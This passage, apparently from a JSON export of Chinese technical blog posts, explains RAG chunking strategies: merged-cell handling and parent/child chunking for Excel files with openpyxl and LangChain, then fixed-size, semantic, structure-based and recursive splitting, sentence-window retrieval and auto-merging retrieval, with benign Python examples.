文件，每种格式都需要不同的解析方法和库。跨工作表或单个工作表内的数据不一致进一步使过程复杂化。非标准文件通常缺乏统一性，呈现不同的列顺序、不一致的日期格式或列内混合的数据类型，需要强大的错误处理和数据验证机制。\n合并单元格对解析算法来说尤其成问题，因为它们可以跨越多行或多列，使数据关联变得复杂。必须编写程序逻辑来准确处理这些合并区域。隐藏的行、列或工作表增加了另一层复杂性，需要彻底检查整个工作簿以确保完整的数据提取。\n为应对这些挑战，必须开发稳健、灵活的解析解决方案。这通常涉及结合多种方法，例如使用专门的 Excel 解析库、为特定文件结构实现自定义逻辑，以及采用机器学习技术对半结构化数据进行模式识别。\n预处理 在分块前处理合并单元格、复杂公式和非表格数据。这些属于预处理。\n合并单元格问题 在对 Excel 进行分块之前，必须先把「合并单元格导致的信息缺失」消除，否则嵌入时会出现 NaN 或空字符串，严重影响检索召回。\n为什么要先处理合并单元格？ 我们以一个 “功能清单.xlsx” 为例：\n读取时只保留左上角值：无论 openpyxl 还是 pandas.read_excel，合并区域内除左上角外其余格值会被置空 。 行级分块会丢字段：合并了“模块名称”或“子系统”的行，在转换成文本时会缺列，导致检索无法定位 。 RAG 检索依赖元数据：若模块名丢失，metadata_filter 将失效，回答准确率显著下降（内部测试下降 15–25 pp）。 解决方案 思路：\n利用 ws.merged_cells.ranges 拿到所有合并区域 读取左上角值，遍历填充到区域内每个单元格。 调用 ws.unmerge_cells() 取消合并，再保存临时文件供 pandas / Unstructured 后续处理。 1from openpyxl import load_workbook 2 3def explode_merged_cells(path_in: str, path_out: str): 4 wb = load_workbook(path_in) 5 for ws in wb.worksheets: 6 for rng in list(ws.merged_cells.ranges): # 复制，以免迭代中修改 7 ws.unmerge_cells(str(rng)) # 先解除，否则无法写值 8 tl_cell = ws[rng.min_row][rng.min_col - 1] # 左上角 Cell 9 for r in range(rng.min_row, rng.max_row + 1): 10 for c in range(rng.min_col, rng.max_col + 1): 11 ws.cell(r, c).value = tl_cell.value 12 wb.save(path_out) 核心 API 参考：unmerge_cells() 、merged_cells\nChunking 策略 我手头有一些《功能清单》 和 《工时评估表》 就以这些文件为例，讨论一下具体的 chunking 策略，具体来说，是使用 两级分块\n什么是“两级分块”？ 两级分块本质固定：父 = 模块/功能域，子 = 行记录。\nAzure 官方指南将这种把大块再拆子块的做法称作“层次化 chunking/hierarchical chunking”，可与 Auto-Merging Retrieval 等检索算法天然配合\n功能清单与工时评估表本质是一条条功能点记录；行级粒度最能保持“一问就能命中一行”的高精检索。 单纯行级又易丢失上下文，例如“所属子系统”；用业务模块字段先聚合可在召回时带来更丰富的背景。 如果某模块非常大，使用递归切分（递归字符或 token 限长）可以在不破坏结构的情况下继续拆分。 具体来说是：模块 → 行 先聚后拆，更适合 Excel 表中已有明确模块列、需要用向量库分区或 metadata 过滤的系统\n处理流程上务必：\n先处理合并单元格 行文本带列名 metadata 保留 module 字段，以便精准过滤与 Auto-Merging 聚合。 而元数据的处理（模块、行号、sheet 名），决定了查询过滤与答案上下文的可控性。 详细说明 两级分块中的 父和子，具体来说是：“摘要型父块 + 行级子块”\n父块 父块的存在价值在于提供业务背景 + 索引锚点。比如 “模块 A：支付结算；记录 426 行” 。 父块采用“header + 小块”策略 为什么父块可只包含结构信息？\n父块不包含子行信息，因为子块检索命中后，通过父 ID 回溯获得模块级上下文，提高回答完整度。 在层次化 (hierarchical) 分块体系里，“父块 (parent document)” 的核心职责是让检索器知道一批子块属于哪 个业务语境，而不是存放子块的全文内容。 通常父块只保存模块级背景（例如模块名、描述、记录数等），不再内嵌每一行子块的具体文本；这样既保上下文，又避免重复嵌入 代码：父块仅含结构信息的实现\n1 2import pandas as pd 3from langchain.docstore.document import Document 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5 6df = pd.read_excel(\u0026#34;functions_flat.xlsx\u0026#34;, engine=\u0026#34;openpyxl\u0026#34;) 7 8# ➊ 生成父块——只保背景 9parent_docs = [ 10 Document(page_content=f\u0026#34;模块名称: {m}\\n总记录数: {len(sub)}\u0026#34;, 11 metadata={\u0026#34;module\u0026#34;: m, \u0026#34;level\u0026#34;: \u0026#34;parent\u0026#34;}) 12 for m, sub in df.groupby(\u0026#34;模块\u0026#34;) 13] 14 15# ➋ 生成子块——行文本 16row_docs = [] 17for _, row in df.iterrows(): 18 md = \u0026#34;\\n\u0026#34;.join(f\u0026#34;**{c}**: {v}\u0026#34;for c, v in row.items()) 19 row_docs.append(Document(page_content=md, 20 metadata={\u0026#34;module\u0026#34;: row[\u0026#39;模块\u0026#39;], \u0026#34;level\u0026#34;: \u0026#34;child\u0026#34;})) 21 22# ➌ 可选：对子块再递归切分，确保 \u0026lt;2048 chars 23splitter = RecursiveCharacterTextSplitter(chunk_size=2048, chunk_overlap=256) 24child_chunks = splitter.split_documents(row_docs) ParentDocumentRetriever 在检索时会先命中 child_chunks，随后自动用父 ID 把对应模块摘要拼回上下文。如需“关键列拼接”模式，只需把 row[[\u0026lsquo;ID\u0026rsquo;,\u0026lsquo;Name\u0026rsquo;]] 等字段 join 到父块内容。\n子块 在“模块 → 行”层次化分块里，子块（child chunk）就是把 Excel 中“一行业务记录”转成能让向量检索与 LLM 都看得懂的最小语义单元。它既要携带行内全部有效信息，又不能冗余到超出模型窗口。\n子块典型 Markdown／JSON 结构：\n1## 模块: 支付结算 2**功能ID**: PAY-001 3**功能名称**: 创建收款单 4**功能类型**: 核心 5**COSMIC FP**: 6 6 7{ 8 \u0026#34;module\u0026#34;: \u0026#34;支付结算\u0026#34;, 9 \u0026#34;功能ID\u0026#34;: \u0026#34;PAY-001\u0026#34;, 10 \u0026#34;功能名称\u0026#34;: \u0026#34;创建收款单\u0026#34;, 11 \u0026#34;功能类型\u0026#34;: \u0026#34;核心\u0026#34;, 12 \u0026#34;COSMIC_FP\u0026#34;: 6 13} 推荐生成流程（代码片段）:\n1import pandas as pd 2from langchain.docstore.document import Document 3from langchain.text_splitter import RecursiveCharacterTextSplitter 4 5df = pd.read_excel(\u0026#34;functions_flat.xlsx\u0026#34;, engine=\u0026#34;openpyxl\u0026#34;) 6 7child_docs = [] 8for idx, row in df.iterrows(): 9 module = row[\u0026#34;模块\u0026#34;] 10 # —— 1) 行→Markdown 11 body = \u0026#34;\\n\u0026#34;.join(f\u0026#34;**{c}**: {v}\u0026#34;for c, v in row.items()) 12 # —— 2) 写入 Document 13 child_docs.append( 14 Document( 15 page_content=f\u0026#34;# 模块: {module}\\n{body}\u0026#34;, 16 metadata={ 17 \u0026#34;module\u0026#34;: module, 18 \u0026#34;row_id\u0026#34;: idx + 2, # Excel 行号（含表头补1） 19 \u0026#34;sheet\u0026#34;: \u0026#34;功能清单\u0026#34; 20 } 21 ) 22 ) 23 24# 3) 控制长度，避免超窗口 25splitter = RecursiveCharacterTextSplitter( 26 chunk_size=2048, chunk_overlap=256 27) 28child_chunks = splitter.split_documents(child_docs) 标题行 行级子块一定写列名-值对 父块按需保存一次表头或仅存摘要 父子块生成策略 在 Excel → 向量库的 RAG 管道里，最省事、也最被 LangChain/LlamaIndex/Haystack 等工具链推荐的做法，就是 “在同一遍遍历中同时生成父块和子块，并用 module 或 parent_id 把两者关联起来”。这样既避免二次扫描，又保证所有子块天生带着正确的父信息，检索器便能先召回精确的行级子块，再顺着指针把对应的模块级父块自动补进上下文，实现“精召回 + 背景补全”的最佳组合。\n一遍循环生成父子块的核心流程\n步骤 0：展开合并单元格 用 openpyxl 的 unmerge_cells 把合并区域拆开，再把左上角值填满整块；或用 pandas.ffill() 向下补齐。这样每行都能拿到正确的 模块 字段\n步骤 1：遍历行 → 同时产出父块与子块\n1import pandas as pd 2from langchain.docstore.document import Document 3from langchain.text_splitter import RecursiveCharacterTextSplitter 4 5df = pd.read_excel(\u0026#34;functions_flat.xlsx\u0026#34;, engine=\u0026#34;openpyxl\u0026#34;).ffill() 6parent_seen, parents, children = {}, [], [] 7splitter = RecursiveCharacterTextSplitter(chunk_size=2048, chunk_overlap=256) # 控长:contentReference[oaicite:7]{index=7} 8 9for idx, row in df.iterrows(): 10 mod = row[\u0026#34;模块\u0026#34;] # ① 遇到新模块先建父块 11 if mod notin parent_seen: 12 parent_seen[mod] = Document( 13 page_content=f\u0026#34;模块: {mod}\u0026#34;, 14 metadata={\u0026#34;module\u0026#34;: mod, \u0026#34;level\u0026#34;: \u0026#34;parent\u0026#34;} 15 ) 16 parents.append(parent_seen[mod]) 17 18 body = \u0026#34;\\n\u0026#34;.join(f\u0026#34;**{c}**: {v}\u0026#34;for c, v in row.items()) # ② 行→Markdown，保留列名 19 child = Document( 20 page_content=body, 21 metadata={ 22 \u0026#34;module\u0026#34;: mod, 23 \u0026#34;parent_id\u0026#34;: id(parent_seen[mod]), # 或直接存 module 24 \u0026#34;row\u0026#34;: idx + 2 25 } 26 ) 27 children.extend(splitter.split_documents([child])) # 行过长再递归切 父块 只存简短摘要（如模块名、记录数），避免重复嵌入。 子块 带齐列名-值对、行号及父引用，保证可追溯。社区经验贴也强调“列名+值”比裸值更利于语义检索 步骤 2：写入向量库 只向量化 子块，将 module 作为 partition key 或 metadata。父块可放旁路索引，或与子块一同存但不做向量化。\n步骤 3：检索时自动拼接 用 LangChain ParentDocumentRetriever、LlamaIndex AutoMergingRetriever 或 Haystack Auto-Merging Retriever：\n先做向量检索拿到 k 个子块； 按 parent_id/module 查父块； 拼 “父摘要 + 命中子块(±近邻)” 送入 LLM。 检索流程 过滤：查询时先用 filter={\u0026ldquo;module\u0026rdquo;: \u0026lt;候选模块\u0026gt;} 做向量库精搜；Milvus 文档示例说明 filtered search 会先裁剪候选集再做 ANN，比全库检索快 2-4× Auto-Merging：若一次命中同模块多行，LlamaIndex/Haystack 会把这些行和父摘要合并，避免窗口碎片化 注意事项 其他 chunking 策略 基于工作表和基于行的分块 基于列的拆分 混合与滑动窗口技术 用于 Excel 分块的工具和库 pandas Python 的 pandas 库是许多 Excel 处理任务的核心，为读取 Excel 文件提供了强大的分块支持。 read_excel() 函数的 chunksize 参数允许进行内存高效、固定大小的分块\nopenpyxl 对于更复杂的 Excel 结构，openpyxl 库提供了对 Excel 文件解析的粒度控制，使其适用于基于内容的分块方法，能够有效处理合并单元格、公式和其他非标准元素。\nxlrd xlrd 库虽然主要针对较旧的.xls 格式，但对于遗留系统仍然具有相关性，并提供快速解析功能，在混合分块方法中，当速度至关重要时，这些功能非常有用。\n","date":"2025-06-06T01:39:11Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-06-06-rag-chunk-zhi-excel-wen-dang-jie-xi/cover.jpg","permalink":"/p/2025-06-06-rag-chunk-zhi-excel-wen-dang-jie-xi/","title":"Rag chunk 之：Excel 文档解析"},{"content":"一、固定大小切分（Fixed-size chunking） 优势 顾名思义且容易实现。由于直接分割可能会破坏语义流程，建议在两个连续的片段之间保持一些重叠。\n劣势 破坏语义结构：固定大小切分可能在句子或段落中间进行切分，导致语义信息被割裂，影响模型对文本的理解。 上下文信息丢失：由于切分不考虑文本的语义边界，相关信息可能被分散到不同的块中，导致模型在处理时缺乏必要的上下文支持。 缺乏灵活性：固定大小切分无法适应不同文本结构的变化，对于结构复杂或格式不一致的文档，可能导致切分效果不佳。 影响检索效果：在基于检索的生成任务中，固定大小切分可能导致相关信息被分散，降低检索的准确性和生成结果的质量。 处理长文本的挑战：对于包含长句子的文本，固定大小切分可能无法完整保留句子信息，影响模型的理解和处理能力。 缺点较多，不建议在大多数真实生产场景中使用。\n二、语义切分（Semantic chunking） 原理概述 语义分块的核心思想是通过计算相邻句子的嵌入向量之间的相似度，识别语义上的断点，从而将文本划分为语义连贯的块。具体步骤包括：\n句子分割：将文本按标点符号（如句号、问号等）分割成句子。 嵌入计算：使用嵌入模型（如 OpenAI Embedding）计算每个句子的向量表示。 相似度计算：计算相邻句子之间的语义相似度。 断点识别：当相邻句子的相似度低于设定阈值时，认为存在语义断点，进行分块。 块生成：将相似度高的句子合并为一个语义块。 这种方法旨在确保每个块内部的语义连贯性，从而提高检索和生成的准确性。\n优势 语义完整性：通过识别语义断点，避免将相关内容分割到不同的块中，保持信息的完整性。 提高检索准确性：语义连贯的块有助于向量检索系统更准确地匹配用户查询，提高检索效果。 减少冗余信息：避免将无关信息混合在一个块中，减少噪声干扰。 劣势 计算成本高：需要计算大量句子之间的相似度，计算资源消耗大，处理速度较慢。 实现复杂：涉及嵌入计算、相似度分析等步骤，算法实现相对复杂。 效果依赖数据类型：在某些数据集上，语义分块的效果可能不如固定大小分块或递归分块。 语义分块在保持文本语义完整性方面具有优势，适用于对语义连贯性要求高的任务，如复杂问答系统。然而，其高计算成本和实现复杂度使其在资源受限或对处理速度要求高的场景中不太适用。相比之下，递归切分方法实现简单、处理速度快，适用于结构清晰的自然语言文本。因此，选择合适的分块策略应根据具体任务需求、数据类型和可用资源综合考虑。\n三、基于文档结构的切片 （Document structure-based chunking） 文档结构化分块（Document Structure-Based Chunking）是一种利用文档自身结构进行内容切分的策略。其核心思想是根据文档的自然组织形式（如标题、段落、章节、函数等）进行分块，以保留语义完整性和上下文连贯性，从而提升检索和生成的效果。\n“Document structure-based chunking”（基于文档结构的切分）不是按固定长度或句子切，而是“按逻辑块”划分内容，常见于 Word、PDF、HTML 等格式的企业文档处理中，尤其适合处理说明书、规约、设计文档的场景。\n原理概述 文档结构化分块的基本原理是：\n结构感知：识别文档中的结构元素（如 Markdown 的标题、HTML 的标签、代码中的函数或类等），并以这些元素作为分块的边界。 语义完整：确保每个分块在语义上是完整的，避免将相关内容拆分到不同的块中。 上下文保留：通过保留文档的结构信息，维护内容之间的逻辑关系，增强模型对上下文的理解。 例如：在处理包含 Markdown 格式的文档时，可以使用 LangChain 提供的 MarkdownHeaderTextSplitter 类，根据标题层级（如 #、##、###）进行分块，从而保留文档的层次结构。\n原理解析 1. 结构识别\n从文档中提取结构元素，包括但不限于：\n标题层级（如 H1/H2/H3、1.、1.1、1.1.2） 段落、表格、列表、分隔线 样式信息（加粗、缩进、字号、字体） 页面结构（页眉页脚、分页、目录） 这些结构在不同文档格式中的表现形式不同，例如：\nWord：段落样式 + Outline Level PDF：字体大小、粗细、缩进等视觉特征 HTML：DOM 节点层级 2. 结构驱动的切分逻辑\n常见策略：\n按 每一个小节（如 1.1、1.2.1）作为一个 chunk，或多个小节合并为一个 chunk 同一标题下的所有段落视为一个逻辑块 若小节内容过多，则再结合递归切分或 token 限制切分 关键不是按“多少 token”切，而是“从属于哪个结构单元”切。\n3. 结构标签保留（可选）\n切分后的 chunk 还可保留其结构标识，如：\n1{ 2 \u0026#34;chunk\u0026#34;: \u0026#34;本系统支持 7 层安全防护措施……\u0026#34;, 3 \u0026#34;section\u0026#34;: \u0026#34;2.3 安全架构设计\u0026#34; 4} 这便于：\n检索时进行 rerank LLM 回答时增强上下文定位感（结构提示） 举个例子:\n给定这样一段 Word 文档内容：\n11. 系统概述 2 介绍系统的设计目标与背景。 32. 功能模块 4 2.1 用户管理 5 包括登录、注册、权限分配等功能。 6 2.2 设备管理 7 支持设备的接入、控制与监控。 Structure-based Chunking 结果可能是：\nChunk 1: 1. 系统概述 介绍系统的设计目标与背景。 Chunk 2: 2.1 用户管理 包括登录、注册、权限分配等功能。 Chunk 3: 2.2 设备管理 支持设备的接入、控制与监控。 docx2python 示例：\n示例目录：\n我们将把 Word 文档解析成如下结构：\n1[ 2 { 3 \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;, 4 \u0026#34;title\u0026#34;: \u0026#34;1. 系统概述\u0026#34;, 5 \u0026#34;level\u0026#34;: 1, 6 \u0026#34;content\u0026#34;: \u0026#34;……正文内容……\u0026#34; 7 }, 8 { 9 \u0026#34;id\u0026#34;: \u0026#34;1.1\u0026#34;, 10 \u0026#34;title\u0026#34;: \u0026#34;1.1 功能模块\u0026#34;, 11 \u0026#34;level\u0026#34;: 2, 12 \u0026#34;content\u0026#34;: \u0026#34;……正文内容……\u0026#34; 13 }, 14 { 15 \u0026#34;id\u0026#34;: \u0026#34;2\u0026#34;, 16 \u0026#34;title\u0026#34;: \u0026#34;2. 技术架构\u0026#34;, 17 \u0026#34;level\u0026#34;: 1, 18 \u0026#34;content\u0026#34;: \u0026#34;……正文内容……\u0026#34; 19 } 20] 完整代码：解析 Word 文档结构和正文内容\n1from docx2python import docx2python 2import re 3import json 4 5def get_level_and_id(title: str): 6 \u0026#34;\u0026#34;\u0026#34; 7 从标题行中提取编号和层级（例：1.2.3 → level 3） 8 \u0026#34;\u0026#34;\u0026#34; 9 match = re.match(r\u0026#34;^(\\d+(\\.\\d+)*)(\\s+|$)\u0026#34;, title.strip()) 10 if match: 11 id_str = match.group(1) 12 level = id_str.count(\u0026#34;.\u0026#34;) + 1 13 return id_str, level 14 returnNone, None 15 16def parse_docx_structure(docx_path: str): 17 doc_result = docx2python(docx_path) 18 body = doc_result.body 19 20 parsed_chunks = [] 21 current_chunk = None 22 23 for section in body: 24 for para_group in section: 25 for para in para_group: 26 text = para.strip() 27 ifnot text: 28 continue 29 30 # 如果段落以编号开头，视为新段落标题 31 id_str, level = get_level_and_id(text) 32 if id_str: 33 # 存储上一段内容 34 if current_chunk: 35 parsed_chunks.append(current_chunk) 36 37 current_chunk = { 38 \u0026#34;id\u0026#34;: id_str, 39 \u0026#34;title\u0026#34;: text, 40 \u0026#34;level\u0026#34;: level, 41 \u0026#34;content\u0026#34;: \u0026#34;\u0026#34; 42 } 43 else: 44 # 不是新段落标题，加入当前内容 45 if current_chunk: 46 current_chunk[\u0026#34;content\u0026#34;] += text + \u0026#34;\\n\u0026#34; 47 else: 48 # 文档开头没有编号，强行起一块 49 current_chunk = { 50 \u0026#34;id\u0026#34;: \u0026#34;\u0026#34;, 51 \u0026#34;title\u0026#34;: \u0026#34;\u0026#34;, 52 \u0026#34;level\u0026#34;: 0, 53 \u0026#34;content\u0026#34;: text + \u0026#34;\\n\u0026#34; 54 } 55 56 if current_chunk: 57 parsed_chunks.append(current_chunk) 58 59 return parsed_chunks 60 61# 示例使用 62chunks = parse_docx_structure(\u0026#34;example.docx\u0026#34;) 63 64# 美观打印输出 65for chunk in chunks: 66 print(f\u0026#34;\\n=== {chunk[\u0026#39;id\u0026#39;]} ({chunk[\u0026#39;title\u0026#39;]}) ===\u0026#34;) 67 print(chunk[\u0026#34;content\u0026#34;]) 68 69# 可选：保存为 JSON 70with open(\u0026#34;parsed_chunks.json\u0026#34;, \u0026#34;w\u0026#34;, encoding=\u0026#34;utf-8\u0026#34;) as f: 71 json.dump(chunks, f, ensure_ascii=False, indent=2) 在实际应用中，可以根据文档的格式选择合适的分块工具和方法：\nMarkdown 文档：使用 MarkdownHeaderTextSplitter，根据标题层级进行分块。 HTML 文档：使用 HTMLHeaderTextSplitter，根据 HTML 标签（如 \u0026lt;h1\u0026gt;、\u0026lt;h2\u0026gt;）进行分块。 代码文件：使用 PythonCodeTextSplitter 等工具，根据函数或类的定义进行分块。 表格数据：将表格内容格式化为模型易于理解的形式（如 HTML 的 \u0026lt;table\u0026gt; 标签、CSV 格式等），以保留表格的结构信息 这些工具通常会在分块的同时添加元数据（如标题、层级信息等），以便在后续的检索和生成过程中提供更丰富的上下文。\n优势与适用场景 优势：\n语义完整性强：每个分块通常对应一个完整的主题或功能单元，便于模型理解。 上下文清晰：保留了文档的结构信息，增强了内容之间的逻辑关系。 检索效果好：结构化的分块有助于提高向量检索的准确性。 适用场景：\n结构清晰的文档，如技术文档、API 文档、法律文本等。 需要保留文档层次结构的应用，如知识库问答系统、文档摘要生成等。 注意事项:\n文档结构不清晰时效果有限：对于结构混乱或缺乏明显结构的文档，结构化分块可能无法发挥优势。 块大小不均：不同结构单元的长度可能差异较大，需结合其他分块策略（如递归分块）进行优化。 实现复杂度较高：需要根据不同的文档格式设计相应的解析和分块逻辑。 文档结构化分块是一种有效的分块策略，特别适用于结构清晰、层次分明的文档。在实际应用中，可以结合其他分块方法（如递归分块、语义分块）进行混合使用，以获得更好的效果。\n四、递归切分（Recursive Splitting） “\n实际上 递归切分（Recursive Splitting） 也是 固定大小文本切块\n在 RAG（Retrieval-Augmented Generation）系统中，递归切分（Recursive Splitting）是一种常用的文本分块策略，旨在将长文本有效地划分为适合处理的小块（chunk），以便后续的嵌入、检索和生成任务\n工具：RecursiveCharacterTextSplitter (LangChain)\n参数建议：\nchunk_size=512 （适合多数 Embedding 模型）\nchunk_overlap=128 （平衡上下文连贯性与冗余）\nseparators=[\u0026quot;\\n\\n\u0026quot;, \u0026quot;\\n\u0026quot;, \u0026quot;。\u0026quot;, \u0026quot;？\u0026quot;, \u0026quot;！\u0026quot;, \u0026quot;；\u0026quot;, \u0026quot;...\u0026quot;]（中文场景优化分隔符）\n优势：先按大结构（标题）切，再按段落/句子细化，避免硬切关键信息。\n原理概述 递归切分的核心思想是使用一组预定义的分隔符（如段落符、句号、空格等）按层次递归地将文本拆分成更小的块，直到每个块的长度满足设定的要求。\n具体步骤如下：\n初步切分：使用第一个分隔符（例如换行符 \\n）对文本进行初步切分。 检查块大小：对于每个切分得到的块，判断其长度是否超过设定的最大块大小（chunk_size）。 递归处理：如果某个块的长度仍然超过 chunk_size，则使用下一个分隔符（例如句号 。）对该块进行进一步切分。 继续递归：重复上述过程，依次使用预定义的分隔符列表中的下一个分隔符，直到所有块的长度都不超过 chunk_size，或者无法再进行切分。 合并块（可选）：在某些实现中，如果相邻的文本块合并后长度不超过 chunk_size，则可以将它们合并，以确保块的长度尽可能接近 chunk_size，同时保留上下文完整性。 这种方法的优点在于它能够尽量保留文本的语义结构，例如段落和句子边界，从而在保持上下文连贯性的同时，生成大小合适的文本块。\n示例（LangChain）： LangChain 提供了 RecursiveCharacterTextSplitter 类来实现递归切分。以下是一个使用示例：\n1from langchain.text_splitter import RecursiveCharacterTextSplitter 2text_splitter = RecursiveCharacterTextSplitter( 3 chunk_size=200, 4 chunk_overlap=50, 5 length_function=len, 6 separators=[\u0026#34;\\n\u0026#34;, \u0026#34;。\u0026#34;, \u0026#34; \u0026#34;, \u0026#34;\u0026#34;] 7) 8text = \u0026#34;...\u0026#34; # 待处理的文本 9texts = text_splitter.create_documents([text]) 10for doc in texts: 11 print(doc) 在这个示例中：\nchunk_size=200：设置每个文本块的最大长度为 200 个字符 chunk_overlap=50：设置相邻文本块之间的重叠长度为 50 个字符，以保留上下文 separators=[\u0026quot;\\n\u0026quot;, \u0026quot;。\u0026quot;, \u0026quot; \u0026quot;, \u0026quot;\u0026quot;]：定义了分隔符的优先级顺序，依次为换行符、句号、空格和空字符串。 这种方式确保了文本在切分时尽量保持语义的完整性和上下文的连贯性。\n优势 保持语义结构：递归切分优先使用自然语言中的分隔符（如段落、句子等）进行切分，有助于保留文本的语义结构，减少信息碎片化的风险。 灵活的分块大小：通过递归使用不同的分隔符，能够根据文本的实际结构动态调整分块大小，适应不同长度和结构的文本。 适用于多种文本格式：递归切分方法适用于多种文本格式，包括自然语言文本、Markdown、HTML 等，能够处理结构复杂或层次分明的文档。 减少上下文割裂：通过在相邻文本块之间引入重叠部分（chunk_overlap），有助于保留上下文信息，提高模型对文本的理解能力。 适用场景 自然语言文本：如新闻文章、博客、书籍等，文本结构清晰，适合使用递归切分方法。 结构化文档：如 Markdown、HTML 等，具有明确的结构层次，递归切分能够有效地保留其结构信息。 需要保持语义完整性的任务：如问答系统、摘要生成等，对文本的语义连贯性要求较高，适合使用递归切分。 劣势 处理速度较慢：递归切分需要多次遍历文本，尤其是在处理大型文档时，可能导致处理速度较慢。 块大小不一致：由于依赖于自然语言的分隔符，生成的文本块大小可能不一致，这可能影响后续的处理效果。 计算资源消耗大：多次递归切分和合并操作可能导致较高的计算资源消耗，尤其是在大规模数据处理时。 对文档结构依赖强：递归切分依赖于文档的结构清晰度，对于结构不明确或格式混乱的文档，效果可能不佳。 不适用场景 结构化数据（如 Excel 表格）：Excel 表格中的数据通常以行和列的形式组织，递归切分无法有效保留其结构和语义信息。 代码或标记语言文档：对于包含代码块或标记语言（如 HTML、Markdown）的文档，递归切分可能会破坏其语法结构，影响后续处理。 多语言或混合语言文档：在处理包含多种语言的文档时，递归切分可能无法正确识别和处理不同语言的分隔符，导致切分效果不佳。 对块大小有严格要求的应用：某些应用对输入块的大小有严格限制，递归切分生成的不一致块大小可能不满足这些要求。 五、句子窗口检索（Sentence-Window Retrieval） 准确地讲，Sentence-Window Retrieval（检索期再扩窗）不是切片方式，而是 检索策略 —— 先以“单句 chunks”建索引，命中后再把 前后 N 句 拼回去给 LLM。\n原理概述 传统的 RAG 系统通常将文档按固定长度或段落进行切分，并对每个块进行向量化处理。然而，这种方法可能导致语义相关的信息被切割，影响检索效果。\n句子窗口检索通过以下步骤优化这一过程：\n按句子切分文档：将文档按句子进行切分，每个句子作为一个最小的检索单元。 构建句子窗口：对于每个句子，记录其前后若干个句子，形成一个“窗口”。这个窗口包含了目标句子及其上下文信息。 向量化处理：仅对目标句子进行向量化处理，而将其窗口信息作为元数据存储。 检索与生成：在检索阶段，根据用户查询与句子向量的相似度，找到最相关的句子，并将其对应的窗口信息提供给语言模型，以生成更准确的答案。 这种方法结合了细粒度的检索和丰富的上下文信息，提升了检索的精确度和生成的质量。\n示例（LlamaIndex） 在 LlamaIndex 中，可以通过 SentenceWindowNodeParser 实现句子窗口检索： from llama_index.node_parser import SentenceWindowNodeParser\n1node_parser = SentenceWindowNodeParser.from_defaults( 2 window_size=3, 3 window_metadata_key=\u0026#34;window\u0026#34;, 4 original_text_metadata_key=\u0026#34;original_text\u0026#34;, 5) window_size=3：表示窗口包含目标句子前后各 3 个句子，共 7 个句子。 window_metadata_key 和 original_text_metadata_key：用于在元数据中标识窗口内容和原始句子 在检索阶段，可以使用 MetadataReplacementPostProcessor 将检索到的句子替换为其对应的窗口内容，提供给语言模型进行生成。\nLlamaIndex 的 SentenceWindowRetriever 实践显示，对长段落文档回答的 F1 明显提升。 常用窗口：中心句 ± 3 句；别忘了把原句位置做 metadata，方便精确引用。 优势 提高检索精度：通过细粒度的句子级检索，提升了与查询的匹配度。 丰富上下文信息：窗口机制提供了更完整的上下文，有助于语言模型生成更准确的答案。 灵活的窗口大小：可以根据具体需求调整窗口大小，以平衡上下文信息量和模型处理能力。 适用于需要高精度检索和丰富上下文支持的场景，如问答系统、文档摘要等。\n注意事项 窗口大小的选择：窗口过小可能导致上下文不足，过大则可能引入噪声信息。需要根据具体任务进行调整。 计算资源消耗：虽然只对目标句子进行向量化处理，但在检索和生成阶段，仍需处理较大的上下文窗口，可能增加计算负担。 模型输入限制：需要注意语言模型的输入长度限制，避免窗口内容过长导致截断。 六、自动合并检索（Auto-merging retrieval） Auto-merging Retrieval（自动合并检索）本质上是一种检索策略，而非单纯的 chunk（文本切分）方法。要实现这一策略，确实需要配合特定的 chunk 策略，尤其是层次化的 chunking（Hierarchical Chunking）。\n我们前文说的 “Document structure-based chunking”（基于文档结构的切分）就属于“Hierarchical Chunking”（层次化切分）策略的一种。\n原理概述 自动合并检索的核心思想是将文档划分为多个层次的块（chunk），形成父子关系的树状结构。在检索过程中，如果多个相关的子块属于同一个父块，系统会自动将这些子块合并为其父块，从而提供更完整的上下文信息给大语言模型（LLM）\n实现步骤 文档层次化拆分：使用如 LlamaIndex 的 HierarchicalNodeParser 或 Haystack 的 HierarchicalDocumentSplitter，将文档按预设的块大小（如 2048、512、128）递归拆分，构建出多层级的节点结构。 索引构建：将最小的叶子节点（最小块）进行向量化，并存入向量数据库中，供后续检索使用。 检索与合并： 在用户查询时，系统首先检索与查询最相关的叶子节点。 如果检索到的叶子节点中，有多个属于同一个父节点，并且超过设定的阈值（例如，超过该父节点子节点数量的50%），则系统会自动将这些子节点合并为其父节点，作为最终的检索结果返回 优势 增强上下文完整性：通过合并相关的子块，提供更连贯的上下文信息，减少信息碎片化。 提高生成质量：更完整的上下文有助于大语言模型生成更准确、相关性更高的回答。 降低幻觉风险：提供更全面的信息，减少模型因上下文不足而产生的错误回答。 注意事项 合理设置层次结构：根据文档的结构和内容，选择合适的 chunk 大小和层数，避免层次过多或过少影响检索效果。 调整合并阈值：根据具体应用场景，设置合适的合并阈值，确保在需要时合并相关子块，同时避免引入不相关的信息。 利用元数据管理父子关系：在构建层次结构时，确保每个子块都包含其父节点的引用信息，以便在检索时能够正确合并。 Document structure-based chunking 结合 Auto-merging Retrieval 要将“基于文档结构的切分”（Document Structure-Based Chunking）与“自动合并检索”（Auto-merging Retrieval）结合应用于 RAG（Retrieval-Augmented Generation）系统，可以按照以下步骤进行开发：\n1 基于文档结构的层次化切分\n目标：利用文档的结构信息（如标题、段落、列表等）进行多层次的切分，构建父子关系的树状结构。\n实现方法：\n使用工具：可以使用如 LlamaIndex 的 HierarchicalNodeParser 或 Haystack 的 HierarchicalDocumentSplitter。这些工具允许根据文档结构进行层次化切分。\n设置参数：\nblock_sizes：定义每一层的最大块大小，例如 {2048, 512, 128} 表示父块最大为 2048 个单位，子块最大为 512 个单位，叶子节点为 128 个单位。\nsplit_by：指定按何种单位进行切分，如按词（\u0026ldquo;word\u0026rdquo;）或句子（\u0026ldquo;sentence\u0026rdquo;）。\n构建层次结构：通过上述工具和参数设置，将文档切分为多个层次的块，形成父子关系的树状结构。\n2 构建向量索引与文档存储\n目标：将最小的叶子节点进行向量化，并存入向量数据库中，同时保留父节点的信息以供后续合并使用。 实现方法：\n向量化叶子节点：使用如 OpenAI 的 text-embedding-3-small 或 SentenceTransformers 等模型，对叶子节点进行向量化。 存储向量：将向量化后的叶子节点存入向量数据库中，如 FAISS、Pinecone、Weaviate 等。 保留父子关系：在存储过程中，保留每个叶子节点与其父节点之间的关系信息，以便在检索时进行合并。 3 配置自动合并检索器\n目标：在检索过程中，根据设定的阈值自动将相关的子块合并为其父块，提供更完整的上下文信息。 